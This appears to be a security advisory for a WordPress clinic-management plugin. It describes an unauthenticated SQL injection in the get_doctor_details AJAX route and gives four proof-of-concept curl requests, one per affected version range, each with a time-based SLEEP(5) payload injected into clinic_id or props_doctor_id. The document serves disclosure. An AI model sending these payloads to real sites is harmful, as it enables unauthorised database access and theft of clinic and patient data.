The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route, leading to SQL Injections exploitable by unauthenticated users
With at least one doctor created via the plugin: v < 2.3.4 curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_post&route_name=get_doctor_details&clinic_id%5bid%5d=(CASE+WHEN+(4=4)+THEN+SLEEP(5)+ELSE+5+END)' --data '' v < 2.3.5 curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"(CASE+WHEN+(4=4)+THEN+SLEEP(5)+ELSE+5+END)"%7D' v < 2.3.6 curl 'https://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)"%7D' v <= 2.3.8 curl 'http://example.com/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b'
cydave
cydave
Yes
2022-05-23 (about 1 years ago)
2022-05-23 (about 1 years ago)
2023-02-16 (about 3 months ago)